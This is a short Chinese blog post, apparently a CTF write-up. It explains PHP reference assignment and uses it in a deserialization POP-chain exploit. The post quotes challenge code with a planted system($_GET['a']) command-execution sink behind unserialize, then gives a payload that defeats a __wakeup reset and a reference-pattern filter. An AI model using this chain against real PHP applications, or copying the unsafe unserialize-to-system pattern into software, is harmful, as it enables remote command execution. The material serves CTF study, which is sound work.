可以看到b原本的值是123,引用a之后,变成100
但是修改b的值为1100之后,发现a的值也从原本的100变成1100了
这就涉及到引用的基本工作原理:
当你使用引用时,实际上是在操作同一个变量的不同别名,因此对一个引用的修改会影响到所有指向该变量的引用
应用场景:
如果某个我们想要控制的变量被强制赋值,这时候如果我们有其他可控变量的话,可以通过引用赋值来
例子:
<?php show_source(__FILE__); class a{ public function __get($a){ $this->b->love(); } } class b{ public function __destruct(){ $tmp = $this->c->name; } public function __wakeup(){ $this->c = "no!"; $this->b = $this->a; } } class xk{ public function love(){ system($_GET['a']); } } if(preg_match('/R:2|R:3/',$_GET['pop'])){ die("no"); } unserialize($_GET['pop']);
审计完代码后,目的是要绕过wakeup中的这句$this->c = "no!"; 因为如果$this->c = "no!";的话 就无法触发get了
这时候就可以利用引用赋值,如通过b类的b属性来通过c属性
payload:
$ctf = new b(); $ctf->a= new a(); $ctf->a->b=new xk(); $ctf->c=&$ctf->b; echo serialize($ctf);
标签:function,变量,no,ctf,引用,php,public From: https://www.cnblogs.com/xjrycd/p/18156201